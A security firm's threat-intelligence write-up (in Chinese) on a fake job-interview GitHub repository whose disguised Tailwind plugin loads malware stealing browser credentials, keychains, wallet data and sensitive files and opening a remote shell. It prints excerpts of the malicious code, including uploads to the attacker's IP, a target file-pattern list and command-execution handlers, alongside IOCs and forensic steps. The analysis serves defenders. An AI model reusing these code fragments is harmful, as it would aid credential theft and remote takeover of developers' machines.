威胁情报|伪装招聘的 GitHub 投毒分析
原创
慢雾安全团队
慢雾安全团队
慢雾科技
2026年7月18日 09:00
中国香港
在小说阅读器读本章
去阅读
**# 背景**
**#
近日,MistEye 监测到一起以招聘为诱饵、专门针对开发者的恶意代码投递活动。攻击者先通过 LinkedIn 联系开发者,冒充 Web3 项目的招聘方。在沟通工作经历和面试安排后,对方向目标发来一个 GitHub 仓库,称其中是面试前需要体验的 MVP。
聊天记录显示,攻击者先询问目标的工作经历和产品经验,并讨论后续面试安排。之后,对方称需要提前体验产品,才能在面试中讨论具体问题,并借此要求目标运行仓库中的项目。
这套流程与真实的技术面试很接近。对开发者来说,拉取代码、安装依赖和启动项目本来就是常规操作,因此不容易在第一时间察觉异常。
**
(攻击者通过招聘私信发送 GitHub 仓库,并诱导目标在面试前运行 MVP)
该账号将自己描述为 Web3 投资和商务从业者,历史动态也一直在发布项目投资、产品建设等内容。因此,当对方发来 GitHub 仓库时,目标更容易把它当成正常的项目资料,而不是一次恶意投递。
**
(相关账号页面被包装成 Web3 投资与商务背景)
**慢雾安全团队获取仓库后,对项目代码和启动流程进行了检查。
检查项目配置时,我们注意到一个可疑的 JavaScript 文件,它被当作 Tailwind 插件加载:
theme/js/auron-core.min.js
**该文件被写入 Tailwind 配置文件中。只要目标按照项目说明执行开发或构建命令,Node.js 就会通过 require() 加载并执行该文件。
theme/js/auron-core.min.js 并非正常的前端组件或 Tailwind 插件。其代码经过重度混淆,实际是恶意程序的第一阶段加载器。
该加载器会启动多个隐藏的 Node.js 子进程,并向其中写入三段第二阶段脚本。这些脚本分别负责窃取浏览器和钱包数据、搜索并上传本地文件,以及建立远程控制通道。
与假空投页面、恶意文档或诱导执行终端命令不同,这次攻击把恶意代码直接藏进了一个看似正常的开发项目。风险真正发生在本地,目标拉取仓库并启动项目时,恶意代码才会被执行。**## MistEye 响应****
**##
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统,集成了安全监控与情报聚合能力,为用户提供实时的风险预警与资产守护。
MistEye 已第一时间通过情报推送与客户告警通道同步风险。
*# 木马分析***
**#
本节围绕仓库中的 theme/js/auron-core.min.js 展开。分析重点包括触发路径、运行环境、第一阶段加载器行为、第二阶段 Payload 职责、C2 通信、命令协议、IOC 以及取证排查方法。
## 1. 样本基础信息与触发方式**
**##
分析对象为 theme/js/auron-core.min.js。
| | |
| --- | --- |
| 项目 | 值 |
| 文件路径 | theme/js/auron-core.min.js |
| 文件大小 | 4069335 字节 |
| SHA-256 | 78315f36bfe3ac62ec1a69a281be64c0db3614250a7851708813b0739a07842f |
| 初步判断 | 体积明显偏离普通主题插件,但仍需结合加载路径和行为确认。 |****该文件超过 4 MB,远大于一般的 Tailwind 主题插件。不过,文件体积异常只能说明它值得检查,还不能据此认定为恶意文件。接下来需要确认,项目运行时是否会加载这个文件。
tailwind.config.ts 中把它写成了插件:
require(\"./theme/js/auron-core.min.js\");
这意味着它不是浏览器里加载的静态资源,而是会在 Tailwind 构建时被 Node.js 直接运行。开发者只要按照项目说明启动项目或构建 CSS,就会触发其中的恶意代码。
## 2. Node.js 侧伪装插件**
****##
继续查看文件开头:**
sed -n '1,6p' theme/js/auron-core.min.js
关键片段摘录如下:**
module.exports = ({ addBase }) => { if (process.env.NODE_ENV === \"development\") { // 混淆后的恶意代码 }};
**从文件开头可以看出,这是一段 Node.js 模块代码,并非常见的浏览器 Bundle:
结合代码结构可以确认:
- 样本运行在 Node.js 环境中,不是在浏览器中执行。
- 代码在 NODE\_ENV === \"development\" 时进入混淆 Payload。
- 外层被包装成 Tailwind/PostCSS 插件,恶意逻辑隐藏在插件函数内部。
第一阶段代码混淆严重,直接静态阅读效率较低。因此,分析时将样本放入受控环境,并替换联网、命令执行和文件访问等高风险接口,重点截获其写入子进程的第二阶段脚本。后续分析直接针对这些解出的脚本展开。
## 3. 受控环境下提取第二阶段 Payload**
****##
为避免样本真实联网或执行命令,分析时通过 Node.js vm 加载样本,并伪造了它依赖的网络、进程和文件系统接口。
- child\_process:不真正执行命令,只记录 execSync、spawn 参数,并截获 spawn.stdin.end(...) 写入的脚本文本。
- axios、http、https:不真实出网,只记录 URL、请求体和头部。
- socket.io-client:不建立真实 Socket 连接,只记录注册事件。
- fs、os、process:提供受控返回值,让样本继续执行,同时避免访问真实环境。
- setTimeout、setInterval:记录定时器并主动触发一轮,以暴露后续行为。
受控分析脚本 tests/malware\_sandbox.js 的执行结果如下:
node tests/malware_sandbox.js
关键片段摘录如下:
{ \"outputPath\": \"/Users/test/Downloads/governance-staking-build-develop/tests/malware_sandbox_output.json\", \"eventCount\": 49}
运行完成后生成事件日志 tests/malware\_sandbox\_output.json,并在 tests/malware\_payloads 目录下保存样本释放出的第二阶段脚本。
ls -l tests/malware_payloadssed -n '1,220p' tests/malware_sandbox_output.json
其中 ls -l tests/malware\_payloads 的实际输出如下:**
total 328-rw-r--r-- 1 test staff 35087 Jul 17 10:44 payload-1.js-rw-r--r-- 1 test staff 30758 Jul 17 10:44 payload-2.js-rw-r--r-- 1 test staff 95925 Jul 17 10:44 payload-3.js
```**
**本次提取出的三个文件分别为 payload-1.js、payload-2.js、payload-3.js。至此,第一层混淆样本已经被拆分为三个可直接阅读的第二阶段脚本,后续分析围绕这三个文件展开。**
**### 3.1 受控分析脚本关键设计********
********###
下面列出受控分析脚本中的几个关键片段,用于说明样本释放脚本和网络行为是如何被记录的。
首先,脚本读取目标样本并准备事件收集器。child\\_process 被替换成记录型 stub。最关键的位置是 spawn.stdin.end(chunk):样本向隐藏子进程写入的脚本文本,会在这里被保存下来。
functioncreateChildProcessStub() { return { execSync() { return\"stub-output\"; },
spawn() { return { stdin: { end(chunk) { spawnedScripts.push(String(chunk)); }, },
unref() {}, }; }, };}
**Stub 不会真正发送网络请求,只记录 URL、请求头和请求体,并返回一个模拟的成功响应,保证样本继续运行。**
axios.post = async (...args) => { networkRequests.push(args); return { status: 200 };};
****样本运行在单独构造的 vm 上下文中,无法直接访问分析机真实的 process、网络模块和文件系统接口。****
const context = { module: { exports: {} }, require: sandboxRequire, process: processStub, console, Buffer, setTimeout: timerStub, setInterval: timerStub,};
context.global = context;context.globalThis = context;
**主流程负责执行样本、触发定时器,并将第二阶段脚本与事件日志落盘:**
new vm.Script(source).runInNewContext( context, { timeout: 5000 });
await drainTimers();savePayloads(spawnedScripts);
**该脚本保留样本的主要执行流程,但将联网、命令执行等接口替换为记录型 Stub。这样既能阻止真实危害,也能保存第二阶段脚本、网络目标和关键调用参数。
**## 4. 第一阶段加载器行为************
********##
tests/malware\\_sandbox\\_output.json 记录了第一阶段样本的主要行为:
1.向 http://172.86.126.76:8087/api/log 上报启动日志。
2.创建多个 Node.js 子进程,并加载不同功能模块。
3.为每个子进程写入对应锁文件,避免重复启动。
提取关键日志的命令如下:
rg -n 'api/log|Spawning|pid\.1\.[123]\.lock|spawn\.stdin\.end' tests/malware_sandbox_output.json
**关键片段摘录如下:**
C2:172.86.126.76:8087
启动模块:ldbScriptautoUploadScriptsocketScript
锁文件:/tmp/pid.1.1.lock/tmp/pid.1.2.lock/tmp/pid.1.3.lock
**日志显示实际 C2 地址是 172.86.126.76,auron-core.min.js 本身是一个 Stage 0 加载器,不直接完成所有恶意操作,而是负责启动三个功能不同的第二阶段脚本。
如果主机中上述锁文件,说明该加载器很可能已经执行。
**## 5. payload-1.js:浏览器与钱包数据窃取************
************##
payload-1.js 主要针对用户浏览器环境和系统凭据存储位置进行数据收集,目标包括浏览器保存的登录信息、钱包扩展数据以及 macOS Keychain 文件。
浏览器与钱包数据收集
进一步分析 payload-1.js 中的数据收集逻辑时,发现样本包含多个与浏览器数据库和凭据存储相关的关键词。以下关键词直接暴露了它的窃取目标:
rg -n 'Login Data|Web Data|Local Extension Settings|Keychains|wallet|sql\\.js|8085/upload|validationSecret' tests/malware_payloads/payload-1.js
```**
检索结果如下:**
const browserFiles = [ \"Login Data\", \"Login Data For Account\", \"Web Data\",];
const walletPath = \"Local Extension Settings\";
const keychainPath = \"~/Library/Keychains/login.keychain-db\";
const uploadUrl = \"http://172.86.126.76:8085/upload\";
**相关行为包括:
- 读取 Chromium 系浏览器相关数据文件,包括 Login Data、Login Data For Account 以及 Web Data。
- 遍历 Local Extension Settings 目录,收集浏览器扩展存储数据,并针对钱包类扩展(如 bravewallet)进行处理。
- 在 macOS 上尝试抓取 ~/Library/Keychains/login.keychain-db。
- 将收集到的文件上传至 http://172.86.126.76:8085/upload。
**数据上传机制
在完成数据收集后,样本会将整理后的数据上传至远程服务器。相关上传逻辑位于 payload-1.js 第 757 行附近。定位命令如下:
nl -ba tests/malware_payloads/payload-1.js | sed -n '750,790p'
**关键代码实际输出如下:
await axios.post(\"http://172.86.126.76:8085/upload\", form, {headers: {userkey: 103,hostname: os.hostname(), timestamp,\"file-metadata\": fileMetadataStr,validation: validationToken, }, });
**从代码可以确认,样本通过 HTTP POST 请求将收集的数据上传至远程服务器,相关上传逻辑包含固定的校验密钥、上传地址以及请求头字段:
- validationSecret = \"SuperStr0ngSecret@)@^\"
- axios.post(\"http://172.86.126.76:8085/upload\", form, ...)
- 请求头字段包含 userkey: 103、hostname、timestamp、file-metadata、t: 1、validation。
进一步分析发现,样本在上传前会创建临时目录,并对收集的数据进行整理:**
rg -n '\\\\.upload_|login\\\\.keychain-db|Login Data|Web Data|Local Extension Settings' tests/malware_payloads/payload-1.js
从这些代码可以看出,该模块主要实现了浏览器凭据、钱包扩展数据以及系统钥匙串数据的收集功能。样本会读取 Chromium 系浏览器中的登录数据库、浏览器扩展存储数据,并在 macOS 环境下尝试获取用户 Keychain 文件。其中可能包含用户账号信息、浏览器保存的密码、钱包扩展相关数据以及系统保存的敏感凭据。一旦相关数据被收集并外传,攻击者可能进一步访问用户在线服务、数字资产钱包或其他关联资源。
## 6. payload-2.js:敏感文件收集与上传**
**##
与前一个模块主要针对浏览器数据不同,payload-2.js 主要负责扫描本地文件系统,并根据内置规则识别可能包含敏感信息的文件,随后将匹配文件上传至远程服务器。进一步分析 payload-2.js 中的文件扫描逻辑时,发现样本定义了 SENSITIVE\_FILE\_PATTERNS 等规则,用于匹配敏感文件路径和文件名称。
检索命令如下:
rg -n 'SENSITIVE_FILE_PATTERNS|EXCLUDED_PATH_PATTERNS|8086/upload|api_key|seed|wallet|id_rsa|\\\\.env' tests/malware_payloads/payload-2.js
从代码中可见的部分目标关键词包括:
const sensitivePatterns = [ \".env\", \"wallet\", \"seed\", \"mnemonic\", \"id_rsa\", \"pem\", \"p12\", \"api_key\", \"credentials\", \"password\", \".docx\", \".pdf\", \".xlsx\",];
**需要特别注意,敏感关键词规则并不适用于所有扫描路径。代码显示,在 Desktop、Documents、Downloads 等优先目录扫描阶段,样本并不强制要求文件路径命中 SENSITIVE\_FILE\_PATTERNS;而在后续扫描其他目录时,才使用 isSensitiveFile(fullPath) 进行关键词过滤。因此,在这些优先目录中,任何未命中扩展名排除规则、可读取且不超过 5 MB 的文件都可能被上传,并不要求文件名包含 .env、seed、wallet 或 password 等敏感关键词。
敏感文件上传机制
在完成目标文件筛选后,样本会进一步执行文件上传操作。相关逻辑位于 payload-2.js 第 131 行附近。
定位命令如下:
nl -ba tests/malware_payloads/payload-2.js | sed -n '128,160p'
关键代码实际输出如下:
await axios.post( \"http://172.86.126.76:8086/upload\", form);
**从代码可以确认:
- 上传地址为 http[://]172[.]86[.]126[.]76[:]8086/upload。
- HMAC 密钥仍为 SuperStr0ngSecret@)@^。
- validation 的计算方式为 filePath + \"|\" + timestamp。
由此可以看出,该模块的收集目标并不局限于浏览器数据,而是进一步扩展到开发者本地环境中的高价值文件。开发环境中通常保存大量敏感配置和访问凭据,例如 .env 文件、SSH 私钥、云平台访问密钥、CI/CD Token、项目配置文件以及业务文档等。一旦相关数据被收集并外传,可能进一步导致代码仓库、云资源或第三方服务凭据泄露。
## 7. payload-3.js:远程控制、文件管理与交互式 Shell**
****##
**payload-3.js 主要负责与 C2 服务通信,并提供远程主机管理功能。该模块通过 Socket.IO 与远程服务器建立连接,支持主机注册、日志上报、远程命令执行、目录浏览、文件读取、文件上传以及交互式 Shell 会话。
首先分析样本中的 C2 配置和通信入口:**
nl -ba tests/malware_payloads/payload-3.js | sed -n '56,95p'
关键片段摘录如下:**
const C2 = { notify: \"http://172.86.126.76:8087/api/notify\",
log: \"http://172.86.126.76:8087/api/log\",
socket: \"ws://172.86.126.76:8087\",};
const hostInfo = { host: os.hostname(), os: os.type() + \" \" + os.release(), username: os.userInfo().username,};
await axios.post( C2.notify, hostInfo);
**从该片段可以明确看到以下网络目标:
- http[://]172[.]86[.]126[.]76[:]8087/api/notify
- http[://]172[.]86[.]126[.]76[:]8087/api/log
- ws[://]172[.]86[.]126[.]76[:]8087
**结合前面对 payload-1.js 和 payload-2.js 的分析,可以发现该样本根据不同功能划分了多个通信接口:
| 端口 | 用途 |
| 8087 | 控制通道、日志通道、主机上线注册和 WebSocket 连接。 |
| 8085 | 浏览器、钱包相关数据上传通道。 |
| 8086 | 敏感文件上传通道。 |
**###
payload-3.js 中存在 sendHostInfo() 和 f\_s\_l(message, level, data) 两个基础函数。前者负责向 /api/notify 上报主机信息,后者负责向 /api/log 上报日志或内容。
rg -n 'sendHostInfo|f_s_l|validationSecret|api/notify|api/log' tests/malware_payloads/payload-3.js
###**
7.2 Socket 远程控制指令
**###
样本连上 ws://172.86.126.76:8087 后,会注册命令处理事件。命令主干如下:****
nl -ba tests/malware_payloads/payload-3.js | sed -n '1237,1405p'
关键片段摘录如下:
socket.on(\"command\", (msg) => { const { command, code, path: filePath, } = msg;
if (code === \"102\") { return listDirectory(filePath); }
if (code === \"107\") { return readFile(filePath); }
if (code === \"108\") { return uploadFiles(filePath); }
exec(command);});
**从代码中的 code 分支来看,支持这些远程指令:
- code === \"102\":列目录,并将目录内容以 JSON 形式回传。
- code === \"108\":上传指定目录下一层文件。
- code === \"107\":读取指定文件,必要时上传并回传 fileUrl。
- 其他情况:直接通过 exec(command) 执行系统命令。
用于快速抽取事件和协议字段的命令如下:
rg -n 'socket\\\\.on\\\\(|socket\\\\.emit\\\\(|code === \\\"102\\\"|code === \\\"107\\\"|code === \\\"108\\\"|exec\\\\(' tests/malware_payloads/payload-3.js
### 7.3 交互式 Shell****
**###
除单次命令执行外,payload-3.js 还实现了持续性的交互式 Shell 功能。
定位命令如下:
nl -ba tests/malware_payloads/payload-3.js | sed -n '2177,2317p'
```******关键片段摘录如下:****
socket.on(\"shellOpen\", ...);socket.on(\"shellInput\", ...);socket.on(\"shellResize\", ...);socket.on(\"shellClose\", ...);socket.on(\"shellDetach\", ...);
**该模块通过 Socket.IO 事件维护远程 Shell 会话。模块处理的事件包括:**
// 控制端下发socket.on(\"shellOpen\", ...);socket.on(\"shellInput\", ...);socket.on(\"shellResize\", ...);socket.on(\"shellClose\", ...);
// 受害主机回传socket.emit(\"shellReady\", ...);socket.emit(\"shellOutput\", ...);socket.emit(\"shellExit\", ...);socket.emit(\"shellError\", ...);
**这些事件覆盖了 Shell 创建、输入、窗口调整、输出回传和会话关闭,足以支持完整的远程终端交互。攻击者建立连接后,可以直接浏览目录、执行命令和读取文件。若主机中保存了其他系统凭据,这些信息还可能被用于后续入侵。******### 7.4 剪贴板监听**********
**********###
payload-3.js 还实现了跨平台剪贴板监听功能,用于持续获取用户剪贴板内容。
定位命令如下:
rg -n 'clipboard|pbpaste|xclip|xsel|watchClipboard' tests/malware_payloads/payload-3.jssed -n '2357,2445p' tests/malware_payloads/payload-3.js
**从代码可以确认,该模块具备持续读取并上报用户剪贴板内容的能力。由于开发者日常操作中可能临时复制密码、访问 Token、私钥、服务器命令或其他敏感信息,因此该功能可能导致用户短时间内复制的数据被收集并泄露。******## 8. 攻击链复盘**********
************##
| | | |
| --- | --- | --- |
| 步骤 | 阶段 | 说明 |
| 1 | 社工接触 | 攻击者通过 LinkedIn 等平台伪装成招聘方或项目方,与目标建立沟通。 |
| 2 | 仓库投递 | 以面试前体验 MVP 为由发送 GitHub 仓库,要求目标拉取并运行项目。 |
| 3 | 构建触发 | theme/js/auron-core.min.js 被写入 tailwind.config.ts,通过 require() 在 Node.js 环境执行。 |
| 4 | 第一阶段加载 | auron-core.min.js 作为 stage0 loader,上报日志、写锁文件并启动隐藏子进程。 |
| 5 | Payload 释放 | 样本释放 payload-1.js、payload-2.js、payload-3.js 三个第二阶段脚本。 |
| 6 | 数据窃取 | payload-1.js 采集浏览器、钱包扩展、Keychain 等数据。 |
| 7 | 敏感文件搜集 | payload-2.js 搜索 .env、私钥、API Key、文档等敏感文件并上传。 |
| 8 | 远控维持 | payload-3.js 建立 WebSocket 通道,提供命令执行、文件浏览、交互式 Shell 和剪贴板监听。 |******## 9. IOC**********
************##
投递仓库
hxxps://github[.]com/borismelnik1982-netizen/governance-staking-build
恶意文件
theme/js/auron-core.min.js
SHA-256
78315f36bfe3ac62ec1a69a281be64c0db3614250a7851708813b0739a07842f******URL
hxxp://172[.]86[.]126[.]76:8087/api/notify
hxxp://172[.]86[.]126[.]76:8087/api/log
ws://172[.]86[.]126[.]76:8087
hxxp://172[.]86[.]126[.]76:8085/upload
hxxp://172[.]86[.]126[.]76:8086/upload
hxxp://172[.]86[.]126[.]76:8085/api/upload-file
IP
172[.]86[.]126[.]76
**## 10. 取证排查建议************
************##
如果确认运行过该项目,不要急着删文件或杀进程。建议先记录进程、网络连接、文件时间戳和落地文件,再做清理和凭据轮换。由于开发机通常保存 SSH 私钥、云凭据、浏览器登录态和钱包数据,处置时应默认这些凭据已经存在泄露风险,并尽快完成轮换和会话失效。
**### 10.1 网络和进程排查
macOS / Linux:****
lsof -nP -iTCP -sTCP:ESTABLISHED | rg '172\\.86\\.126\\.76:(8085|8086|8087)'ps aux | rg 'node|socket.io-client|sql.js|remote-shell|auron-core|payload-'
**Windows PowerShell:****
Get-NetTCPConnection | Where-Object { $.RemoteAddress -eq '172.86.126.76' -and $.RemotePort -in 8085,8086,8087 }Get-CimInstance Win32_Process | Where-Object { $_.Name -match 'node|powershell|cmd' } | Select-Object ProcessId,Name,CommandLin
**### 10.2 落地文件排查
macOS / Linux:
find /tmp -maxdepth 2 \( -name \"pid.1.1.lock\" -o -name \"pid.1.2.lock\" -o -name \"pid.1.3.lock\" -o -name \"upload_\" -o -name \"remote-shell-\" \) -
**10.3 高风险数据范围排查**
find \"$HOME\" -type f \( -name '.env' -o -name '.env.*' -o -name 'Login Data' -o -name 'Web Data' \) -mtime -2
```
**排查时,应确认以下文件和数据是否被读取或上传:
- .env 和 .env.\*
- SSH 私钥、云凭证、CI Token
- 浏览器保存的密码和 Cookie
- 钱包扩展与种子词备份
- 剪贴板中曾复制过的敏感信息
**# 总结
这次攻击不是孤例。近期多起事件显示,攻击者正频繁利用招聘、代码评审、项目合作等场景,诱导开发者主动运行恶意仓库。
theme/js/auron-core.min.js 被伪装成 Tailwind/PostCSS 插件,并通过项目构建流程在 Node.js 中执行。随后,加载器启动三个脚本,完成凭据窃取、文件上传和远程控制。
样本可以在当前用户权限下执行系统命令,并支持目录浏览、文件读写、剪贴板窃取和交互式终端控制。
它已经不是普通的信息收集脚本,而是一套完整的远控木马。如果受感染设备用于开发或管理 Web3 资产,攻击者可能窃取项目密钥、云凭据、CI/CD Token、浏览器会话和钱包扩展数据。判断一个仓库是否安全,不能只看页面、提交记录和项目界面。更重要的是检查安装依赖和启动项目时,究竟会执行哪些脚本和配置文件。对通过面试、兼职、外包、空投或投资沟通收到的陌生仓库,不要直接在办公机或日常开发环境中安装依赖、执行构建命令。应先在虚拟机或容器中检查 package scripts、构建配置、各类插件、preinstall / postinstall 脚本,以及体积异常的 JavaScript 文件。
如果已经运行过该项目,应立即隔离主机,并保留进程、网络连接和 /tmp 落地文件等证据。随后需要轮换 SSH 密钥、云凭据和 CI/CD Token,退出浏览器与交易平台会话。若钱包私钥或助记词可能泄露,应尽快将资产转移到新的安全钱包,并撤销旧地址的相关授权。*## 关于 MistEye*****
**##
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台,通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎,开发者可通过 API 对项目依赖进行自动化检测,快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档:https://app.misteye.io/api-docs
🛠️ MistEye-DepScan:https://github.com/slowmist/MistEye-DepScan 轻量级 CLI 工具,一行命令扫描项目依赖与全局安装包中的已知恶意包,支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills:https://github.com/slowmist/misteye-skills AI 编码助手安全技能包,在依赖安装与 URL 访问前自动触发 MistEye 安全检测****
往期回顾
Grok CLI 风险分析:一个 prompt 如何把敏感文件送上云端?
数码港 Web4.0 与智能体安全联盟成立,慢雾(SlowMist) 出任创始成员
威胁情报 | Injective SDK 投毒,加密钱包私钥失窃
Google Sites 社群申请钓鱼与 macOS 窃密木马分析
慢雾导航
慢雾科技官网
https://www.slowmist.com/
慢雾区官网
https://slowmist.io/
慢雾 GitHub
https://github.com/slowmist
Telegram
https://t.me/slowmistteam
https://twitter.com/@slowmist\_team
Medium
https://medium.com/@slowmist
知识星球
https://t.zsxq.com/Q3zNvvF
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论